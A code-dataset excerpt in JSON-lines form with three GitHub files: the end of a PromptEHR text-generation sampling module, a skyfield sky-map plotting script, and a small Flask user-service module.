next_token_scores = logits_processor(logits_ids, next_token_logits)\n\n            next_token_scores = logits_warper(logits_ids, next_token_scores)\n\n            # Store scores, attentions and hidden_states when required\n            if return_dict_in_generate:\n                if output_scores:\n                    scores += (next_token_scores,)\n                if output_attentions:\n                    decoder_attentions += (\n                        (outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)\n                    )\n                    if self.config.is_encoder_decoder:\n                        cross_attentions += (outputs.cross_attentions,)\n\n                if output_hidden_states:\n                    decoder_hidden_states += (\n                        (outputs.decoder_hidden_states,)\n                        if self.config.is_encoder_decoder\n                        else (outputs.hidden_states,)\n                    )\n\n            # sample\n            probs = nn.functional.softmax(next_token_scores, dim=-1)\n            if probs.isnan().sum() == probs.shape[1]:\n                logger.warning(f'probability of next tokens in {code_type} is NaN, do random sampling.')\n                probs = torch.ones_like(probs).softmax(dim=-1)\n            \n            next_tokens = torch.multinomial(probs, num_samples=1).squeeze(1)\n\n            # finished sentences should have their next token be a padding token\n            if eos_token_id is not None:\n                assert pad_token_id is not None, \"If eos_token_id is defined, make sure that pad_token_id is defined.\"\n                next_tokens = next_tokens * unfinished_sequences + pad_token_id * (1 - unfinished_sequences)\n\n            # update generated ids, model inputs, and length for next step\n            new_next_tokens = next_tokens.cpu().numpy() + self.model_tokenizer.label_offset\n            new_next_tokens_str = self.model_tokenizer.tokenizer_dict[code_type].decode(new_next_tokens)\n            if new_next_tokens_str == '':\n                warnings.warn(f\"Unknown token {new_next_tokens} found in {code_type},\"\n                            \" seems the training data does not contain these tokens but the test data does.\"\n                            \" Please check your data.\"\n                            \" Will randomly pick a token here!\")\n                \n                # randomly pick a token to fill\n                random_token = '<unk>'\n                not_select_list = self.data_tokenizer(f'<{code_type}> </{code_type}>', add_special_tokens=False)['input_ids']\n                not_select_list = [str(x) for x in not_select_list]\n                not_select_list += ['<unk>']\n                all_keys = list(self.model_tokenizer.tokenizer_dict[code_type].get_vocab().keys())\n                while random_token in not_select_list:\n                    random_token = np.random.choice(all_keys,1)[0]\n                random_token = int(random_token)\n\n                new_next_tokens = torch.ones_like(torch.tensor(new_next_tokens)) * random_token\n                new_next_tokens = new_next_tokens.to(next_tokens.device)\n            else:\n                new_next_tokens = new_next_tokens_str.split()\n                new_next_tokens = np.array(new_next_tokens).astype(int)\n                new_next_tokens = torch.tensor(new_next_tokens).to(next_tokens.device)\n\n            input_ids = torch.cat([input_ids, new_next_tokens[:, None]], dim=-1)\n            logits_ids = torch.cat([logits_ids, next_tokens[:, None]], dim=-1)\n\n            model_kwargs = self._update_model_kwargs_for_generation(\n                outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder\n            )\n            cur_len = cur_len + 1\n\n            # if eos_token was found in one sentence, set sentence to finished\n            if eos_token_id is not None:\n                unfinished_sequences = unfinished_sequences.mul((next_tokens != eos_token_id).long())\n\n            # stop when each sentence is finished, or if we exceed the maximum length\n            if unfinished_sequences.max() == 0 or stopping_criteria(input_ids, scores):\n                if not synced_gpus:\n                    break\n                else:\n                    this_peer_finished = True\n\n        if return_dict_in_generate:\n            if self.config.is_encoder_decoder:\n                return SampleEncoderDecoderOutput(\n                    sequences=input_ids,\n                    scores=scores,\n                    encoder_attentions=encoder_attentions,\n                    encoder_hidden_states=encoder_hidden_states,\n                    decoder_attentions=decoder_attentions,\n                    cross_attentions=cross_attentions,\n                    decoder_hidden_states=decoder_hidden_states,\n                )\n            else:\n                return SampleDecoderOnlyOutput(\n                    sequences=input_ids,\n                    scores=scores,\n                    attentions=decoder_attentions,\n                    hidden_states=decoder_hidden_states,\n                )\n        else:\n            return input_ids\n\n    def _prepare_input_ids_for_generation(\n        self, bos_token_id: Optional[int], encoder_outputs: Optional[ModelOutput]\n    ) -> torch.LongTensor:\n        if self.config.is_encoder_decoder and encoder_outputs is not None:\n            # make dummy input_ids with value -100, as a sanity check ensuring that they won't be used for encoding\n            shape = encoder_outputs.last_hidden_state.size()[:-1]\n            return torch.ones(shape, dtype=torch.long, device=self.device) * -100\n\n        # randomly initialized if no input_ids are given\n        return torch.ones((1, 1), dtype=torch.long, device=self.device) * bos_token_id\n\n    def _prepare_encoder_decoder_kwargs_for_generation(\n        self, inputs_tensor: torch.Tensor, model_kwargs, model_input_name: Optional[str] = None\n    ) -> Dict[str, Any]:\n\n        # 1. get encoder & conditional prompt encoder\n        promt_encoder = self.get_prompt_encoder()\n        encoder = self.get_encoder()\n\n        # 2. prepare encoder args and encoder kwargs from model kwargs\n        irrelevant_prefix = [\"decoder_\", \"cross_attn\", \"use_cache\"]\n        encoder_kwargs = {\n            argument: value\n            for argument, value in model_kwargs.items()\n            if not any(argument.startswith(p) for p in irrelevant_prefix)\n        }\n\n        # 2.5. encode prompts if exist as the condition passed to encoder\n        prompt_embeds = None\n        if ('x_num' in encoder_kwargs or 'x_cat' in encoder_kwargs):\n            x_num = encoder_kwargs.pop('x_num')\n            x_cat = encoder_kwargs.pop('x_cat')\n            if promt_encoder is not None:\n                prompt_embeds = promt_encoder(x_num=x_num, x_cat=x_cat)\n        encoder_kwargs['inputs_prompt_embeds'] = prompt_embeds\n\n        # 3. make sure that encoder returns `ModelOutput`\n        model_input_name = model_input_name if model_input_name is not None else self.main_input_name\n        encoder_kwargs[\"return_dict\"] = True\n        encoder_kwargs[model_input_name] = inputs_tensor\n        model_kwargs[\"encoder_outputs\"]: ModelOutput = encoder(**encoder_kwargs)\n\n        return model_kwargs\n\n    def _prepare_decoder_input_ids_for_generation(\n        self,\n        batch_size: int,\n        decoder_start_token_id: int = None,\n        bos_token_id: int = None,\n        model_kwargs: Optional[Dict[str, torch.Tensor]] = None,\n        device: torch.device = None,\n    ) -> torch.LongTensor:\n        if model_kwargs is not None and \"decoder_input_ids\" in model_kwargs:\n            return model_kwargs.pop(\"decoder_input_ids\")\n        else:\n            decoder_start_token_id = self._get_decoder_start_token_id(decoder_start_token_id, bos_token_id)\n            if device is None:\n                device = self.device\n            return torch.ones((batch_size, 1), dtype=torch.long, device=device) * decoder_start_token_id\n\n    def _get_logits_processor(\n        self,\n        repetition_penalty: float,\n        no_repeat_ngram_size: int,\n        encoder_no_repeat_ngram_size: int,\n        input_ids_seq_length: int,\n        encoder_input_ids: torch.LongTensor,\n        bad_words_ids: List[List[int]],\n        min_length: int,\n        max_length: int,\n        eos_token_id: int,\n        forced_bos_token_id: int,\n        forced_eos_token_id: int,\n        prefix_allowed_tokens_fn: Callable[[int, torch.Tensor], List[int]],\n        num_beams: int,\n        num_beam_groups: int,\n        diversity_penalty: float,\n        remove_invalid_values: bool,\n        exponential_decay_length_penalty: Tuple,\n        logits_processor: Optional[LogitsProcessorList],\n        renormalize_logits: Optional[bool],\n    ) -> LogitsProcessorList:\n        \"\"\"\n        This class returns a [`LogitsProcessorList`] list object that contains all relevant [`LogitsProcessor`]\n        instances used to modify the scores of the language model head.\n        \"\"\"\n        processors = LogitsProcessorList()\n\n        # init warp parameters\n        repetition_penalty = repetition_penalty if repetition_penalty is not None else self.config.repetition_penalty\n        no_repeat_ngram_size = (\n            no_repeat_ngram_size if no_repeat_ngram_size is not None else self.config.no_repeat_ngram_size\n        )\n        encoder_no_repeat_ngram_size = (\n            encoder_no_repeat_ngram_size\n            if encoder_no_repeat_ngram_size is not None\n            else self.config.encoder_no_repeat_ngram_size\n        )\n        bad_words_ids = bad_words_ids if bad_words_ids is not None else self.config.bad_words_ids\n        eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id\n        diversity_penalty = diversity_penalty if diversity_penalty is not None else self.config.diversity_penalty\n        forced_bos_token_id = (\n            forced_bos_token_id if forced_bos_token_id is not None else self.config.forced_bos_token_id\n        )\n        forced_eos_token_id = (\n            forced_eos_token_id if forced_eos_token_id is not None else self.config.forced_eos_token_id\n        )\n        remove_invalid_values = (\n            remove_invalid_values if remove_invalid_values is not None else self.config.remove_invalid_values\n        )\n        exponential_decay_length_penalty = (\n            exponential_decay_length_penalty\n            if exponential_decay_length_penalty is not None\n            else self.config.exponential_decay_length_penalty\n        )\n        # instantiate processors list\n\n        # the following idea is largely copied from this PR: https://github.com/huggingface/transformers/pull/5420/files\n        # all samplers can be found in `generation_utils_samplers.py`\n        if diversity_penalty is not None and diversity_penalty > 0.0:\n            processors.append(\n                HammingDiversityLogitsProcessor(\n                    diversity_penalty=diversity_penalty, num_beams=num_beams, num_beam_groups=num_beam_groups\n                )\n            )\n        if repetition_penalty is not None and repetition_penalty != 1.0:\n            processors.append(RepetitionPenaltyLogitsProcessor(penalty=repetition_penalty))\n        if no_repeat_ngram_size is not None and no_repeat_ngram_size > 0:\n            processors.append(NoRepeatNGramLogitsProcessor(no_repeat_ngram_size))\n        if encoder_no_repeat_ngram_size is not None and encoder_no_repeat_ngram_size > 0:\n            if self.config.is_encoder_decoder:\n                processors.append(EncoderNoRepeatNGramLogitsProcessor(encoder_no_repeat_ngram_size, encoder_input_ids))\n            else:\n                raise ValueError(\n                    \"It's impossible to use `encoder_no_repeat_ngram_size` with decoder-only architecture\"\n                )\n        if bad_words_ids is not None:\n            processors.append(NoBadWordsLogitsProcessor(bad_words_ids, eos_token_id))\n        if min_length is not None and eos_token_id is not None and min_length > 0:\n            processors.append(MinLengthLogitsProcessor(min_length, eos_token_id))\n        if prefix_allowed_tokens_fn is not None:\n            processors.append(PrefixConstrainedLogitsProcessor(prefix_allowed_tokens_fn, num_beams // num_beam_groups))\n        if forced_bos_token_id is not None:\n            processors.append(ForcedBOSTokenLogitsProcessor(forced_bos_token_id))\n        if forced_eos_token_id is not None:\n            processors.append(ForcedEOSTokenLogitsProcessor(max_length, forced_eos_token_id))\n        if remove_invalid_values is True:\n            processors.append(InfNanRemoveLogitsProcessor())\n        if exponential_decay_length_penalty is not None:\n            processors.append(\n                ExponentialDecayLengthPenalty(exponential_decay_length_penalty, eos_token_id, input_ids_seq_length)\n            )\n        processors = self._merge_criteria_processor_list(processors, logits_processor)\n        \n        # `LogitNormalization` should always be the last logit processor, when present\n        if renormalize_logits is True:\n            processors.append(LogitNormalization())\n        return processors", "repo_name": "RyanWangZf/PromptEHR", "sub_path": "promptehr/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 36318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "78", "api": [{"api_name": "transformers.__version__", "line_number": 11, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 12, "usage_type": "call"}, {"api_name": "transformers.utils.logging.get_logger", "line_number": 72, "usage_type": "call"}, {"api_name": "transformers.utils.logging", "line_number": 72, "usage_type": "name"}, {"api_name": "transformers.generation.utils.GenerationMixin", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 79, "usage_type": "name"}, {"api_name": "transformers.generation.stopping_criteria.StoppingCriteriaList", "line_number": 80, "usage_type": "call"}, {"api_name": "transformers.generation.stopping_criteria.MaxLengthCriteria", "line_number": 82, "usage_type": "call"}, {"api_name": "transformers.generation.stopping_criteria.MaxTimeCriteria", "line_number": 84, "usage_type": "call"}, {"api_name": "transformers.generation.stopping_criteria.StoppingCriteriaList", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 90, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 97, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 101, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 102, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 108, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 109, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 110, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 111, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 112, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 113, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 114, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 115, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 124, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 126, "usage_type": "name"}, {"api_name": "transformers.file_utils.ModelOutput", "line_number": 185, "usage_type": "argument"}, {"api_name": "warnings.warn", "line_number": 198, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 87, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 128, "usage_type": "name"}, {"api_name": "transformers.generation.utils.SampleOutput", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 128, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 291, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 292, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 292, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 293, "usage_type": "name"}, {"api_name": "transformers.generation.stopping_criteria.StoppingCriteriaList", "line_number": 293, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 294, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 294, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 295, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 296, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 298, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 299, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 300, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 301, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 302, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 303, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 392, "usage_type": "call"}, {"api_name": "transformers.generation.stopping_criteria.StoppingCriteriaList", "line_number": 393, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 395, "usage_type": "call"}, {"api_name": "transformers.generation.stopping_criteria.validate_stopping_criteria", "line_number": 399, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 400, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 437, "usage_type": "call"}, {"api_name": "torch.distributed.all_reduce", "line_number": 439, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 439, "usage_type": "name"}, {"api_name": "torch.distributed.ReduceOp", "line_number": 439, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.softmax", "line_number": 486, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 486, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 486, "usage_type": "name"}, {"api_name": "torch.ones_like", "line_number": 489, "usage_type": "call"}, {"api_name": "torch.multinomial", "line_number": 491, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 514, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 514, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 517, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 517, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 521, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 522, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 524, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 525, "usage_type": "call"}, {"api_name": "transformers.generation.utils.SampleEncoderDecoderOutput", "line_number": 545, "usage_type": "call"}, {"api_name": "transformers.generation.utils.SampleDecoderOnlyOutput", "line_number": 555, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 305, "usage_type": "name"}, {"api_name": "transformers.generation.utils.SampleOutput", "line_number": 305, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 305, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 565, "usage_type": "name"}, {"api_name": "transformers.file_utils.ModelOutput", "line_number": 565, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 570, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 570, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 573, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 573, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 566, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 576, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 576, "usage_type": "name"}, {"api_name": "transformers.file_utils.ModelOutput", "line_number": 604, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 577, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 577, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 613, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 613, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 613, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 614, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 622, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 622, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 615, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 630, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 631, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 637, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 637, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 637, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 642, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 643, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 643, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 644, "usage_type": "name"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 650, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.HammingDiversityLogitsProcessor", "line_number": 685, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.RepetitionPenaltyLogitsProcessor", "line_number": 690, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.NoRepeatNGramLogitsProcessor", "line_number": 692, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.EncoderNoRepeatNGramLogitsProcessor", "line_number": 695, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.NoBadWordsLogitsProcessor", "line_number": 701, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.MinLengthLogitsProcessor", "line_number": 703, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.PrefixConstrainedLogitsProcessor", "line_number": 705, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.ForcedBOSTokenLogitsProcessor", "line_number": 707, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.ForcedEOSTokenLogitsProcessor", "line_number": 709, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.InfNanRemoveLogitsProcessor", "line_number": 711, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.ExponentialDecayLengthPenalty", "line_number": 714, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.LogitNormalization", "line_number": 720, "usage_type": "call"}, {"api_name": "transformers.generation.logits_process.LogitsProcessorList", "line_number": 645, "usage_type": "name"}]}
{"seq_id": "9690398914", "text": "'''\nViyaleta Apgar, Oct 14, 2022\nI Made a Sky Map in Python.\nThis tutorial shows you how to create a sky map /\nchart in Python using skyfield library\n'''\n\n# datetime libraries\nfrom datetime import datetime\nfrom geopy import Nominatim\nfrom tzwhere import tzwhere\nfrom pytz import timezone, utc\n# matplotlib to help display our star map\nimport matplotlib.pyplot as plt\n# skyfield for star data \nfrom skyfield.api import Star, load, wgs84\nfrom skyfield.data import hipparcos\nfrom skyfield.projections import build_stereographic_projection\n\n# de421 shows position of earth and sun in space\neph = load('de421.bsp')\n# hipparcos dataset contains star location data\nwith load.open(hipparcos.URL) as f:\n    stars = hipparcos.load_dataframe(f)\n\nlocation = 'Times Square, New York, NY'\nwhen = '2023-01-01 00:00'\n\nlocator = Nominatim(user_agent='myGeocoder')\nlocation = locator.geocode(location)\nlat, long = location.latitude, location.longitude\n\n# convert date string into datetime object\ndt = datetime.strptime(when, '%Y-%m-%d %H:%M')\n# define datetime and convert to utc based on our timezone\ntimezone_str = tzwhere.tzwhere().tzNameAt(lat, long)\nlocal = timezone(timezone_str)\n# get UTC from local timezone and datetime\nlocal_dt = local.localize(dt, is_dst=None)\nutc_dt = local_dt.astimezone(utc)\n\n# find location of earth and sun and set the observer position\nsun = eph['sun']\nearth = eph['earth']\n# define observation time from our UTC datetime\nts = load.timescale()\nt = ts.from_datetime(utc_dt)\n# define an observer using the world geodetic system data\nobserver = wgs84.latlon(latitude_degrees=lat, longitude_degrees=long).at(t)\nposition = observer.from_altaz(alt_degrees=90, az_degrees=0)\n\nra, dec, distance = observer.radec()\ncenter_object = Star(ra=ra, dec=dec)\n\ncenter = earth.at(t).observe(center_object)\nprojection = build_stereographic_projection(center)\n\nstar_positions = earth.at(t).observe(Star.from_dataframe(stars))\nstars['x'], stars['y'] = projection(star_positions)\n\nchart_size = 10\nmax_star_size = 100\nlimiting_magnitude = 10\nbright_stars = (stars.magnitude <= limiting_magnitude)\nmagnitude = stars['magnitude'][bright_stars]\n\nfig, ax = plt.subplots(figsize=(chart_size, chart_size))\n \nborder = plt.Circle((0, 0), 1, color='navy', fill=True)\nax.add_patch(border)\n\nmarker_size = max_star_size * 10 ** (magnitude / -2.5)\n\nax.scatter(stars['x'][bright_stars], stars['y'][bright_stars],\n s=marker_size, color='white', marker='.', linewidths=0, \n zorder=2)\n\nhorizon = Circle((0, 0), radius=1, transform=ax.transData)\nfor col in ax.collections:\n    col.set_clip_path(horizon)\n    \nax.set_xlim(-1, 1)\nax.set_ylim(-1, 1)\nplt.axis('off')\nplt.show()", "repo_name": "IchiroYoshida/python_public", "sub_path": "skyf/viyale.py", "file_name": "viyale.py", "file_ext": "py", "file_size_in_byte": 2648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "skyfield.api.load", "line_number": 21, "usage_type": "call"}, {"api_name": "skyfield.api.load.open", "line_number": 23, "usage_type": "call"}, {"api_name": "skyfield.api.load", "line_number": 23, "usage_type": "name"}, {"api_name": "skyfield.data.hipparcos.URL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "skyfield.data.hipparcos", "line_number": 23, "usage_type": "name"}, {"api_name": "skyfield.data.hipparcos.load_dataframe", "line_number": 24, "usage_type": "call"}, {"api_name": "skyfield.data.hipparcos", "line_number": 24, "usage_type": "name"}, {"api_name": "geopy.Nominatim", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "name"}, {"api_name": "tzwhere.tzwhere.tzwhere", "line_number": 36, "usage_type": "call"}, {"api_name": "tzwhere.tzwhere", "line_number": 36, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 37, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 40, "usage_type": "argument"}, {"api_name": "skyfield.api.load.timescale", "line_number": 46, "usage_type": "call"}, {"api_name": "skyfield.api.load", "line_number": 46, "usage_type": "name"}, {"api_name": "skyfield.api.wgs84.latlon", "line_number": 49, "usage_type": "call"}, {"api_name": "skyfield.api.wgs84", "line_number": 49, "usage_type": "name"}, {"api_name": "skyfield.api.Star", "line_number": 53, "usage_type": "call"}, {"api_name": "skyfield.projections.build_stereographic_projection", "line_number": 56, "usage_type": "call"}, {"api_name": "skyfield.api.Star.from_dataframe", "line_number": 58, "usage_type": "call"}, {"api_name": "skyfield.api.Star", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "25437527123", "text": "import datetime\n\nfrom app.main import db\nfrom app.main.model.user import User\n\nfrom sqlalchemy import or_\n\ndef save_new_user(data):\n    user = User.query.filter( or_( (User.email == data['email']), (User.username == data['username']) ) ).first()\n    if not user:\n        new_user = User(\n            email=data['email'],\n            username=data['username'],\n            password=data['password'],\n            firstName=data['firstName'],\n            lastName=data['lastName'],\n            createDate=datetime.datetime.utcnow()\n        )\n        db.session.add(new_user)\n        db.session.commit()\n        return new_user\n    else:\n        return None\n\n\ndef get_all_users():\n    return User.query.all()\n\n\ndef get_a_user(id):\n    user = User.query.filter_by(id=int(id)).first()\n    return user\n", "repo_name": "QuispeRosasGabriel/flask-backend", "sub_path": "app/main/service/user_service.py", "file_name": "user_service.py", "file_ext": "py", "file_size_in_byte": 795, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "app.main.model.user.User.query.filter", "line_number": 9, "usage_type": "call"}, {"api_name": "app.main.model.user.User.query", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.main.model.user.User", "line_number": 9, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 9, "usage_type": "call"}, {"api_name": "app.main.model.user.User.email", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.main.model.user.User.username", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.main.model.user.User", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "attribute"}, {"api_name": "app.main.db.session.add", "line_number": 19, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 19, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 19, "usage_type": "name"}, {"api_name": "app.main.db.session.commit", "line_number": 20, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 20, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 20, "usage_type": "name"}, {"api_name": "app.main.model.user.User.query.all", "line_number": 27, "usage_type": "call"}, {"api_name": "app.main.model.user.User.query", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.main.model.user.User", "line_number": 27, "usage_type": "name"}, {"api_name": "app.main.model.user.User.query.filter_by", "line_number": 31, "usage_type": "call"}, {"api_name": "app.main.model.user.User.query", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.main.model.user.User", "line_number": 31, "usage_type": "name"}]}
